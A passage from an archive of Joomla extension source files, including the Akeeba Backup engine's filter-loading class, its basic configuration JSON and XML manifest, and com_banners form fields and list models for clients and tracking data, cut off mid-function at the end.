        "protected": "1"
    }
}com_akeeba/BackupEngine/Core/Filters.php000060400000025162152455305260014167 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Core;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Filter\Base as FilterBase;
use Akeeba\Engine\Platform;
use DirectoryIterator;
use RuntimeException;

/**
 * Akeeba filtering feature
 */
class Filters
{
	/** @var array An array holding data for all defined filters */
	private $filter_registry = [];

	/** @var FilterBase[] Hash array with instances of all filters as $filter_name => filter_object */
	private $filters = [];

	/** @var bool True after the filter clean up has run */
	private $cleanup_has_run = false;

	/**
	 * Public constructor, loads filter data and filter classes
	 */
	public function __construct()
	{
		// Load filter data from platform's database
		Factory::getLog()->debug('Fetching filter data from database');
		$this->filter_registry = Platform::getInstance()->load_filters();

		// Load platform, plugin and core filters
		$this->filters = [];

		$locations = [
			Factory::getAkeebaRoot() . '/Filter',
		];

		$platform_paths = Platform::getInstance()->getPlatformDirectories();

		foreach ($platform_paths as $p)
		{
			$locations[] = $p . '/Filter';
		}

		Factory::getLog()->debug('Loading filters');

		foreach ($locations as $folder)
		{
			if (!@is_dir($folder))
			{
				continue;
			}

			if (!@is_readable($folder))
			{
				continue;
			}

			$di = new DirectoryIterator($folder);

			foreach ($di as $file)
			{
				if (!$file->isFile())
				{
					continue;
				}

				// PHP 5.3.5 and earlier do not support getExtension
				if ($file->getExtension() != 'php')
				{
					continue;
				}

				$filename = $file->getFilename();

				// Skip filter files starting with dot or dash
				if (in_array(substr($filename, 0, 1), ['.', '_']))
				{
					continue;
				}

				// Some hosts copy .json and .php files, renaming them (ie foobar.1.php)
				// We need to exclude them, otherwise we'll get a fatal error for declaring the same class twice
				$bare_name = $file->getBasename('.php');

				if (preg_match('/[^a-zA-Z0-9]/', $bare_name))
				{
					continue;
				}

				// Extract filter base name
				$filter_name = ucfirst($bare_name);

				// This is an abstract class; do not try to create instance
				if ($filter_name == 'Base')
				{
					continue;
				}

				// Skip already loaded filters
				if (array_key_exists($filter_name, $this->filters))
				{
					continue;
				}

				Factory::getLog()->debug('-- Loading filter ' . $filter_name);

				// Add the filter
				$this->filters[$filter_name] = Factory::getFilterObject($filter_name);
			}
		}

		// Load platform, plugin and core stacked filters
		$locations = [
			Factory::getAkeebaRoot() . '/Filter/Stack',
		];

		$platform_paths       = Platform::getInstance()->getPlatformDirectories();
		$platform_stack_paths = [];

		foreach ($platform_paths as $p)
		{
			$locations[]            = $p . '/Filter';
			$locations[]            = $p . '/Filter/Stack';
			$platform_stack_paths[] = $p . '/Filter/Stack';
		}

		$config = Factory::getConfiguration();
		Factory::getLog()->debug('Loading optional filters');

		foreach ($locations as $folder)
		{
			if (!@is_dir($folder))
			{
				continue;
			}

			if (!@is_readable($folder))
			{
				continue;
			}

			$di = new DirectoryIterator($folder);

			/** @var DirectoryIterator $file */
			foreach ($di as $file)
			{
				if (!$file->isFile())
				{
					continue;
				}

				// PHP 5.3.5 and earlier do not support getExtension
				// if ($file->getExtension() != 'php')
				if (substr($file->getBasename(), -4) != '.php')
				{
					continue;
				}

				// Some hosts copy .json and .php files, renaming them (ie foobar.1.php)
				// We need to exclude them, otherwise we'll get a fatal error for declaring the same class twice
				$bare_name = strtolower($file->getBasename('.php'));

				if (preg_match('/[^A-Za-z0-9]/', $bare_name))
				{
					continue;
				}

				// Extract filter base name
				if (substr($bare_name, 0, 5) == 'stack')
				{
					$bare_name = substr($bare_name, 5);
				}

				$filter_name = 'Stack\\Stack' . ucfirst($bare_name);

				// Skip already loaded filters
				if (array_key_exists($filter_name, $this->filters))
				{
					continue;
				}

				// Make sure the JSON file also exists
				if (!file_exists($folder . '/' . $bare_name . '.json'))
				{
					continue;
				}

				$key = "core.filters.$bare_name.enabled";

				if ($config->get($key, 0))
				{
					Factory::getLog()->debug('-- Loading optional filter ' . $filter_name);
					// Add the filter
					$this->filters[$filter_name] = Factory::getFilterObject($filter_name);
				}
			}
		}
	}

	/**
	 * Extended filtering information of a given object. Applies only to exclusion filters.
	 *
	 * @param   string|array  $test       The string to check for filter status (e.g. filename, dir name, table name,
	 *                                    etc)
	 * @param   string        $root       The exclusion root test belongs to
	 * @param   string        $object     What type of object is it? dir|file|dbobject
	 * @param   string        $subtype    Filter subtype (all|content|children)
	 * @param   string        $by_filter  [out] The filter name which first matched $test, or an empty string
	 *
	 * @return  bool  True if it is a filtered element
	 */
	public function isFilteredExtended($test, $root, $object, $subtype, &$by_filter)
	{
		if (!$this->cleanup_has_run)
		{
			// Loop the filters and clean up those with no data
			/**
			 * @var string     $filter_name
			 * @var FilterBase $filter
			 */
			foreach ($this->filters as $filter_name => $filter)
			{
				if (!$filter->hasFilters())
				{
					unset($this->filters[$filter_name]);
				} // Remove empty filters
			}
			$this->cleanup_has_run = true;
		}

		$by_filter = '';
		if (!empty($this->filters))
		{
			foreach ($this->filters as $filter_name => $filter)
			{
				if ($filter->isFiltered($test, $root, $object, $subtype))
				{
					$by_filter = strtolower($filter_name);

					return true;
				}
			}

			// If we are still here, no filter matched
			return false;
		}
		else
		{
			return false;
		}
	}

	/**
	 * Returns the filtering status of a given object
	 *
	 * @param   string|array  $test     The string to check for filter status (e.g. filename, dir name, table name, etc)
	 * @param   string        $root     The exclusion root test belongs to
	 * @param   string        $object   What type of object is it? dir|file|dbobject
	 * @param   string        $subtype  Filter subtype (all|content|children)
	 *
	 * @return  bool  True if it is a filtered element
	 */
	public function isFiltered($test, $root, $object, $subtype)
	{
		$by_filter = '';

		return $this->isFilteredExtended($test, $root, $object, $subtype, $by_filter);
	}

	/**
	 * Returns the inclusion filters for a specific object type
	 *
	 * @param   string  $object  The inclusion object (dir|db)
	 *
	 * @return array
	 */
	public function &getInclusions($object)
	{
		$inclusions = [];

		if (!empty($this->filters))
		{
			/**
			 * @var string     $filter_name
			 * @var FilterBase $filter
			 */
			foreach ($this->filters as $filter_name => $filter)
			{
				if (!is_object($filter))
				{
					throw new RuntimeException("Object for filter $filter_name not found. The engine will now crash.");
				}

				$new_inclusions = $filter->getInclusions($object);

				if (!empty($new_inclusions))
				{
					$inclusions = array_merge($inclusions, $new_inclusions);
				}
			}
		}

		return $inclusions;
	}

	/**
	 * Returns the filter registry information for a specified filter class
	 *
	 * @param   string  $filter_name  The name of the filter we want data for
	 *
	 * @return    array    The filter data for the requested filter
	 */
	public function &getFilterData($filter_name)
	{
		if (array_key_exists($filter_name, $this->filter_registry))
		{
			return $this->filter_registry[$filter_name];
		}
		else
		{
			$dummy = [];

			return $dummy;
		}
	}

	/**
	 * Replaces the filter data of a specific filter with the new data
	 *
	 * @param   string  $filter_name  The filter for which to modify the stored data
	 * @param   string  $data         The new data
	 */
	public function setFilterData($filter_name, &$data)
	{
		$this->filter_registry[$filter_name] = $data;
	}

	/**
	 * Saves all filters to the platform defined database
	 *
	 * @return bool    True on success
	 */
	public function save()
	{
		return Platform::getInstance()->save_filters($this->filter_registry);
	}

	/**
	 * Get SQL statements to append to the database backup file
	 *
	 * @param   string  $root
	 *
	 * @return  array
	 */
	public function getExtraSQL(string $root): array
	{
		if (count($this->filters) < 1)
		{
			return [];
		}

		$ret = [];

		/**
		 * @var FilterBase $filter
		 */
		foreach ($this->filters as $filter)
		{
			$ret = array_merge($ret, $filter->getExtraSQL($root));
		}

		return $ret;
	}

	public function filterDatabaseRowContent(string $root, string $tableAbstract, array &$row): void
	{
		foreach ($this->filters as $filter)
		{
			$filter->filterDatabaseRowContent($root, $tableAbstract, $row);
		}
	}

	public function canFilterDatabaseRowContent(): bool
	{
		return array_reduce($this->filters, function (bool $carry, FilterBase $filter) {
			return $carry || $filter->canFilterDatabaseRowContent;
		}, false);
	}

	/**
	 * Checks if there is an active filter for the object/subtype requested.
	 *
	 * @param   string  $object   The filtering object: dir|file|dbobject|db
	 * @param   string  $subtype  The filtering subtype: all|content|children|inclusion
	 *
	 * @return bool
	 */
	public function hasFilterType($object, $subtype = null)
	{
		foreach ($this->filters as $filter_name => $filter)
		{
			if ($filter->object == $object)
			{
				if (is_null($subtype))
				{
					return true;
				}
				elseif ($filter->subtype == $subtype)
				{
					return true;
				}
			}
		}

		return false;
	}

	/**
	 * Resets all filters, reverting them to a blank state
	 *
	 * @return  void
	 *
	 * @since   5.4.0
	 */
	public function reset()
	{
		$this->filter_registry = [];
	}
}
com_akeeba/BackupEngine/Core/01.basic.json000060400000002711152455305260014234 0ustar00{
    "_group": {
        "description": "COM_AKEEBA_CONFIG_HEADER_BASIC"
    },
    "akeeba.basic.output_directory": {
        "default": "[DEFAULT_OUTPUT]",
        "type": "browsedir",
        "title": "COM_AKEEBA_CONFIG_OUTDIR_TITLE",
        "description": "COM_AKEEBA_CONFIG_OUTDIR_DESCRIPTION"
    },
    "akeeba.basic.log_level": {
        "default": "4",
        "type": "enum",
        "enumkeys": "COM_AKEEBA_CONFIG_LOGLEVEL_NONE|COM_AKEEBA_CONFIG_LOGLEVEL_WARNING|COM_AKEEBA_CONFIG_LOGLEVEL_DEBUG",
        "enumvalues": "0|2|4",
        "title": "COM_AKEEBA_CONFIG_LOGLEVEL_TITLE",
        "description": "COM_AKEEBA_CONFIG_LOGLEVEL_DESCRIPTION"
    },
    "akeeba.basic.archive_name": {
        "default": "site-[HOST]-[DATE]-[TIME_TZ]-[RANDOM]",
        "type": "string",
        "title": "COM_AKEEBA_CONFIG_ARCHIVENAME_TITLE",
        "description": "COM_AKEEBA_CONFIG_ARCHIVENAME_DESCRIPTION"
    },
    "akeeba.basic.backup_type": {
        "default": "full",
        "type": "enum",
        "enumkeys": "COM_AKEEBA_CONFIG_BACKUPTYPE_FULL|COM_AKEEBA_CONFIG_BACKUPTYPE_DBONLY",
        "enumvalues": "full|dbonly",
        "title": "COM_AKEEBA_CONFIG_BACKUPTYPE_TITLE",
        "description": "COM_AKEEBA_CONFIG_BACKUPTYPE_DESCRIPTION"
    },
    "akeeba.basic.clientsidewait": {
        "default": "0",
        "type": "bool",
        "title": "COM_AKEEBA_CONFIG_CLIENTSIDEWAIT_TITLE",
        "description": "COM_AKEEBA_CONFIG_CLIENTSIDEWAIT_DESCRIPTION"
    }
}com_akeeba/akeeba.xml000060400000004531152455305260010552 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->

<extension version="3.9.0" type="component" method="upgrade">
	<name>Akeeba</name>
	<creationDate>2025-05-09</creationDate>
	<author>Nicholas K. Dionysopoulos</author>
	<authorEmail>nicholas@dionysopoulos.me</authorEmail>
	<authorUrl>https://www.akeeba.com</authorUrl>
	<copyright>Copyright (c)2006-2019 Akeeba Ltd / Nicholas K. Dionysopoulos</copyright>
	<license>GNU GPL v3 or later</license>
	<version>8.4.1</version>
	<description>Akeeba Backup Core - Full Joomla! site backup solution, Core Edition.</description>

	<!-- Public front end files -->
	<files folder="frontend">
		<folder>Dispatcher</folder>
		<filename>akeeba.php</filename>
	</files>

	<!-- Front end translation files -->
	<languages folder="language/frontend">
		<language tag="en-GB">en-GB/en-GB.com_akeeba.ini</language>
	</languages>

	<!-- Media files -->
	<media destination="com_akeeba" folder="media">
		<folder>css</folder>
		<folder>fonts</folder>
		<folder>icons</folder>
		<folder>js</folder>
	</media>

	<!-- Administrator back-end section -->
	<administration>
		<!-- Administration menu -->
		<menu>COM_AKEEBA</menu>

		<!-- Back-end files -->
		<files folder="backend">
			<folder>backup</folder>
			<folder>BackupEngine</folder>
			<folder>BackupPlatform</folder>
			<folder>CliCommands</folder>
			<folder>Controller</folder>
			<folder>Dispatcher</folder>
			<folder>fields</folder>
			<folder>Helper</folder>
			<folder>Master</folder>
			<folder>Model</folder>
			<folder>sql</folder>
			<folder>Toolbar</folder>
			<folder>View</folder>
			<folder>tmpl</folder>

			<filename>akeeba.php</filename>
			<filename>fof.xml</filename>
			<filename>version.php</filename>
			<filename>config.xml</filename>
			<filename>access.xml</filename>
			<filename>CHANGELOG.php</filename>
			<filename>Container.php</filename>
		</files>

		<!-- Back-end translation files -->
		<languages folder="language/backend">
			<language tag="en-GB">en-GB/en-GB.com_akeeba.ini</language>
			<language tag="en-GB">en-GB/en-GB.com_akeeba.sys.ini</language>
		</languages>

	</administration>

	<!-- Installation / uninstallation script file -->
	<scriptfile>script.com_akeeba.php</scriptfile>
</extension>
com_banners/models/fields/impmade.php000060400000002032152455305260013710 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Impressions field.
 *
 * @since  1.6
 */
class JFormFieldImpMade extends JFormField
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $type = 'ImpMade';

	/**
	 * Method to get the field input markup.
	 *
	 * @return  string	The field input markup.
	 *
	 * @since   1.6
	 */
	protected function getInput()
	{
		$onclick = ' onclick="document.getElementById(\'' . $this->id . '\').value=\'0\';"';

		return '<input class="input-small" type="text" name="' . $this->name . '" id="' . $this->id . '" value="'
			. htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8') . '" readonly="readonly" /> <a class="btn" ' . $onclick . '>'
			. '<span class="icon-refresh" aria-hidden="true"></span> ' . JText::_('COM_BANNERS_RESET_IMPMADE') . '</a>';
	}
}
com_banners/models/fields/bannerclient.php000060400000001531152455305260014743 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('BannersHelper', JPATH_ADMINISTRATOR . '/components/com_banners/helpers/banners.php');

JFormHelper::loadFieldClass('list');

/**
 * Bannerclient field.
 *
 * @since  1.6
 */
class JFormFieldBannerClient extends JFormFieldList
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $type = 'BannerClient';

	/**
	 * Method to get the field options.
	 *
	 * @return  array  The field option objects.
	 *
	 * @since   1.6
	 */
	public function getOptions()
	{
		return array_merge(parent::getOptions(), BannersHelper::getClientOptions());
	}
}
com_banners/models/fields/clicks.php000060400000002022152455305260013543 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Clicks field.
 *
 * @since  1.6
 */
class JFormFieldClicks extends JFormField
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $type = 'Clicks';

	/**
	 * Method to get the field input markup.
	 *
	 * @return  string	The field input markup.
	 *
	 * @since   1.6
	 */
	protected function getInput()
	{
		$onclick = ' onclick="document.getElementById(\'' . $this->id . '\').value=\'0\';"';

		return '<input class="input-small" type="text" name="' . $this->name . '" id="' . $this->id . '" value="'
			. htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8') . '" readonly="readonly" /> <a class="btn" ' . $onclick . '>'
			. '<span class="icon-refresh" aria-hidden="true"></span> ' . JText::_('COM_BANNERS_RESET_CLICKS') . '</a>';
	}
}
com_banners/models/fields/imptotal.php000060400000003046152455305260014133 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Total Impressions field.
 *
 * @since  1.6
 */
class JFormFieldImpTotal extends JFormField
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $type = 'ImpTotal';

	/**
	 * Method to get the field input markup.
	 *
	 * @return  string	The field input markup.
	 *
	 * @since   1.6
	 */
	protected function getInput()
	{
		$class    = ' class="validate-numeric text_area"';
		$onchange = ' onchange="document.getElementById(\'' . $this->id . '_unlimited\').checked=document.getElementById(\'' . $this->id
			. '\').value==\'\';"';
		$onclick  = ' onclick="if (document.getElementById(\'' . $this->id . '_unlimited\').checked) document.getElementById(\'' . $this->id
			. '\').value=\'\';"';
		$value    = empty($this->value) ? '' : $this->value;
		$checked  = empty($this->value) ? ' checked="checked"' : '';

		return '<input type="text" name="' . $this->name . '" id="' . $this->id . '" size="9" value="' . htmlspecialchars($value, ENT_COMPAT, 'UTF-8')
			. '" ' . $class . $onchange . ' />'
			. '<fieldset class="checkbox impunlimited"><input id="' . $this->id . '_unlimited" type="checkbox"' . $checked . $onclick . ' />'
			. '<label for="' . $this->id . '_unlimited" id="jform-imp" type="text">' . JText::_('COM_BANNERS_UNLIMITED') . '</label></fieldset>';
	}
}
com_banners/models/clients.php000060400000017214152455305260012477 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Utilities\ArrayHelper;

/**
 * Methods supporting a list of banner records.
 *
 * @since  1.6
 */
class BannersModelClients extends JModelList
{
	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JControllerLegacy
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'id', 'a.id',
				'name', 'a.name',
				'contact', 'a.contact',
				'state', 'a.state',
				'checked_out', 'a.checked_out',
				'checked_out_time', 'a.checked_out_time',
				'purchase_type', 'a.purchase_type'
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = 'a.name', $direction = 'asc')
	{
		// Load the filter state.
		$this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search', '', 'string'));
		$this->setState('filter.state', $this->getUserStateFromRequest($this->context . '.filter.state', 'filter_state', '', 'string'));
		$this->setState('filter.purchase_type', $this->getUserStateFromRequest($this->context . '.filter.purchase_type', 'filter_purchase_type'));

		// Load the parameters.
		$this->setState('params', JComponentHelper::getParams('com_banners'));

		// List state information.
		parent::populateState($ordering, $direction);
	}

	/**
	 * Method to get a store id based on model configuration state.
	 *
	 * This is necessary because the model is used by the component and
	 * different modules that might need different sets of data or different
	 * ordering requirements.
	 *
	 * @param   string  $id  A prefix for the store id.
	 *
	 * @return  string  A store id.
	 */
	protected function getStoreId($id = '')
	{
		// Compile the store id.
		$id .= ':' . $this->getState('filter.search');
		$id .= ':' . $this->getState('filter.state');
		$id .= ':' . $this->getState('filter.purchase_type');

		return parent::getStoreId($id);
	}

	/**
	 * Build an SQL query to load the list data.
	 *
	 * @return  JDatabaseQuery
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db    = $this->getDbo();
		$query = $db->getQuery(true);

		$defaultPurchase = JComponentHelper::getParams('com_banners')->get('purchase_type', 3);

		// Select the required fields from the table.
		$query->select(
			$this->getState(
				'list.select',
				'a.id AS id,'
				. 'a.name AS name,'
				. 'a.contact AS contact,'
				. 'a.checked_out AS checked_out,'
				. 'a.checked_out_time AS checked_out_time, '
				. 'a.state AS state,'
				. 'a.metakey AS metakey,'
				. 'a.purchase_type as purchase_type'
			)
		);

		$query->from($db->quoteName('#__banner_clients') . ' AS a');

		// Join over the banners for counting
		$query->select('COUNT(b.id) as nbanners')
			->join('LEFT', '#__banners AS b ON a.id = b.cid');

		// Join over the users for the checked out user.
		$query->select('uc.name AS editor')
			->join('LEFT', '#__users AS uc ON uc.id=a.checked_out');

		// Filter by published state
		$published = $this->getState('filter.state');

		if (is_numeric($published))
		{
			$query->where('a.state = ' . (int) $published);
		}
		elseif ($published === '')
		{
			$query->where('(a.state IN (0, 1))');
		}

		$query->group('a.id, a.name, a.contact, a.checked_out, a.checked_out_time, a.state, a.metakey, a.purchase_type, uc.name');

		// Filter by search in title
		$search = $this->getState('filter.search');

		if (!empty($search))
		{
			if (stripos($search, 'id:') === 0)
			{
				$query->where('a.id = ' . (int) substr($search, 3));
			}
			else
			{
				$search = $db->quote('%' . str_replace(' ', '%', $db->escape(trim($search), true) . '%'));
				$query->where('a.name LIKE ' . $search);
			}
		}

		// Filter by purchase type
		$purchaseType = $this->getState('filter.purchase_type');

		if (!empty($purchaseType))
		{
			if ($defaultPurchase == $purchaseType)
			{
				$query->where('(a.purchase_type = ' . (int) $purchaseType . ' OR a.purchase_type = -1)');
			}
			else
			{
				$query->where('a.purchase_type = ' . (int) $purchaseType);
			}
		}

		// Add the list ordering clause.
		$query->order($db->escape($this->getState('list.ordering', 'a.name')) . ' ' . $db->escape($this->getState('list.direction', 'ASC')));

		return $query;
	}

	/**
	 * Overrides the getItems method to attach additional metrics to the list.
	 *
	 * @return  mixed  An array of data items on success, false on failure.
	 *
	 * @since   3.6
	 */
	public function getItems()
	{
		// Get a storage key.
		$store = $this->getStoreId('getItems');

		// Try to load the data from internal storage.
		if (!empty($this->cache[$store]))
		{
			return $this->cache[$store];
		}

		// Load the list items.
		$items = parent::getItems();

		// If empty or an error, just return.
		if (empty($items))
		{
			return array();
		}

		// Getting the following metric by joins is WAY TOO SLOW.
		// Faster to do three queries for very large banner trees.

		// Get the clients in the list.
		$db = $this->getDbo();
		$clientIds = ArrayHelper::getColumn($items, 'id');

		// Quote the strings.
		$clientIds = implode(
			',',
			array_map(array($db, 'quote'), $clientIds)
		);

		// Get the published banners count.
		$query = $db->getQuery(true)
			->select('cid, COUNT(cid) AS count_published')
			->from('#__banners')
			->where('state = 1')
			->where('cid IN (' . $clientIds . ')')
			->group('cid');

		$db->setQuery($query);

		try
		{
			$countPublished = $db->loadAssocList('cid', 'count_published');
		}
		catch (RuntimeException $e)
		{
			$this->setError($e->getMessage());

			return false;
		}

		// Get the unpublished banners count.
		$query->clear('where')
			->where('state = 0')
			->where('cid IN (' . $clientIds . ')');
		$db->setQuery($query);

		try
		{
			$countUnpublished = $db->loadAssocList('cid', 'count_published');
		}
		catch (RuntimeException $e)
		{
			$this->setError($e->getMessage());

			return false;
		}

		// Get the trashed banners count.
		$query->clear('where')
			->where('state = -2')
			->where('cid IN (' . $clientIds . ')');
		$db->setQuery($query);

		try
		{
			$countTrashed = $db->loadAssocList('cid', 'count_published');
		}
		catch (RuntimeException $e)
		{
			$this->setError($e->getMessage());

			return false;
		}

		// Get the archived banners count.
		$query->clear('where')
			->where('state = 2')
			->where('cid IN (' . $clientIds . ')');
		$db->setQuery($query);

		try
		{
			$countArchived = $db->loadAssocList('cid', 'count_published');
		}
		catch (RuntimeException $e)
		{
			$this->setError($e->getMessage());

			return false;
		}

		// Inject the values back into the array.
		foreach ($items as $item)
		{
			$item->count_published   = isset($countPublished[$item->id]) ? $countPublished[$item->id] : 0;
			$item->count_unpublished = isset($countUnpublished[$item->id]) ? $countUnpublished[$item->id] : 0;
			$item->count_trashed     = isset($countTrashed[$item->id]) ? $countTrashed[$item->id] : 0;
			$item->count_archived    = isset($countArchived[$item->id]) ? $countArchived[$item->id] : 0;
		}

		// Add the items to the internal cache.
		$this->cache[$store] = $items;

		return $this->cache[$store];
	}
}
com_banners/models/tracks.php000060400000031761152455305260012330 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Archive\Archive;
use Joomla\String\StringHelper;

JLoader::register('BannersHelper', JPATH_ADMINISTRATOR . '/components/com_banners/helpers/banners.php');

/**
 * Methods supporting a list of tracks.
 *
 * @since  1.6
 */
class BannersModelTracks extends JModelList
{
	/**
	 * The base name
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $basename;

	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @see     JControllerLegacy
	 * @since   1.6
	 */
	public function __construct($config = array())
	{
		if (empty($config['filter_fields']))
		{
			$config['filter_fields'] = array(
				'b.name', 'banner_name',
				'cl.name', 'client_name', 'client_id',
				'c.title', 'category_title', 'category_id',
				'track_type', 'a.track_type', 'type',
				'count', 'a.count',
				'track_date', 'a.track_date', 'end', 'begin',
				'level', 'c.level',
			);
		}

		parent::__construct($config);
	}

	/**
	 * Method to auto-populate the model state.
	 *
	 * Note. Calling getState in this method will result in recursion.
	 *
	 * @param   string  $ordering   An optional ordering field.
	 * @param   string  $direction  An optional direction (asc|desc).
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function populateState($ordering = 'b.name', $direction = 'asc')
	{
		// Load the filter state.
		$this->setState('filter.search', $this->getUserStateFromRequest($this->context . '.filter.search', 'filter_search', '', 'string'));
		$this->setState('filter.category_id', $this->getUserStateFromRequest($this->context . '.filter.category_id', 'filter_category_id', '', 'cmd'));
		$this->setState('filter.client_id', $this->getUserStateFromRequest($this->context . '.filter.client_id', 'filter_client_id', '', 'cmd'));
		$this->setState('filter.type', $this->getUserStateFromRequest($this->context . '.filter.type', 'filter_type', '', 'cmd'));
		$this->setState('filter.level', $this->getUserStateFromRequest($this->context . '.filter.level', 'filter_level', '', 'cmd'));
		$this->setState('filter.begin', $this->getUserStateFromRequest($this->context . '.filter.begin', 'filter_begin', '', 'string'));
		$this->setState('filter.end', $this->getUserStateFromRequest($this->context . '.filter.end', 'filter_end', '', 'string'));

		// Load the parameters.
		$this->setState('params', JComponentHelper::getParams('com_banners'));

		// List state information.
		parent::populateState($ordering, $direction);
	}

	/**
	 * Build an SQL query to load the list data.
	 *
	 * @return  JDatabaseQuery
	 *
	 * @since   1.6
	 */
	protected function getListQuery()
	{
		// Create a new query object.
		$db = $this->getDbo();
		$query = $db->getQuery(true);

		// Select the required fields from the table.
		$query->select($db->quoteName(array('a.track_date', 'a.track_type', 'a.count')))
			->select($db->quoteName('b.name', 'banner_name'))
			->select($db->quoteName('cl.name', 'client_name'))
			->select($db->quoteName('c.title', 'category_title'));

		// From tracks table.
		$query->from($db->quoteName('#__banner_tracks', 'a'));

		// Join with the banners.
		$query->join('LEFT', $db->quoteName('#__banners', 'b') . ' ON ' . $db->quoteName('b.id') . ' = ' . $db->quoteName('a.banner_id'));

		// Join with the client.
		$query->join('LEFT', $db->quoteName('#__banner_clients', 'cl') . ' ON ' . $db->quoteName('cl.id') . ' = ' . $db->quoteName('b.cid'));

		// Join with the category.
		$query->join('LEFT', $db->quoteName('#__categories', 'c') . ' ON ' . $db->quoteName('c.id') . ' = ' . $db->quoteName('b.catid'));

		// Filter by type.
		$type = $this->getState('filter.type');

		if (!empty($type))
		{
			$query->where($db->quoteName('a.track_type') . ' = ' . (int) $type);
		}

		// Filter by client.
		$clientId = $this->getState('filter.client_id');

		if (is_numeric($clientId))
		{
			$query->where($db->quoteName('b.cid') . ' = ' . (int) $clientId);
		}

		// Filter by category.
		$categoryId = $this->getState('filter.category_id');

		if (is_numeric($categoryId))
		{
			$query->where($db->quoteName('b.catid') . ' = ' . (int) $categoryId);
		}

		// Filter by begin date.

		$begin = $this->getState('filter.begin');

		if (!empty($begin))
		{
			$query->where($db->quoteName('a.track_date') . ' >= ' . $db->quote($begin));
		}

		// Filter by end date.
		$end = $this->getState('filter.end');

		if (!empty($end))
		{
			$query->where($db->quoteName('a.track_date') . ' <= ' . $db->quote($end));
		}

		// Filter on the level.
		if ($level = $this->getState('filter.level'))
		{
			$query->where($db->quoteName('c.level') . ' <= ' . (int) $level);
		}

		// Filter by search in banner name or client name.
		$search = $this->getState('filter.search');

		if (!empty($search))
		{
			$search = $db->quote('%' . StringHelper::strtolower($search) . '%');
			$query->where('(LOWER(b.name) LIKE ' . $search . ' OR LOWER(cl.name) LIKE ' . $search . ')');
		}

		// Add the list ordering clause.
		$query->order($db->escape($this->getState('list.ordering', 'b.name')) . ' ' . $db->escape($this->getState('list.direction', 'ASC')));

		return $query;
	}

	/**
	 * Method to delete rows.
	 *
	 * @return  boolean  Returns true on success, false on failure.
	 */
	public function delete()
	{
		$user       = JFactory::getUser();
		$categoryId = $this->getState('category_id');

		// Access checks.
		if ($categoryId)
		{
			$allow = $user->authorise('core.delete', 'com_banners.category.' . (int) $categoryId);
		}
		else
		{
			$allow = $user->authorise('core.delete', 'com_banners');
		}

		if ($allow)
		{
			// Delete tracks from this banner
			$db    = $this->getDbo();
			$query = $db->getQuery(true)
				->delete($db->quoteName('#__banner_tracks'));

			// Filter by type
			$type = $this->getState('filter.type');

			if (!empty($type))
			{
				$query->where('track_type = ' . (int) $type);
			}

			// Filter by begin date
			$begin = $this->getState('filter.begin');

			if (!empty($begin))
			{
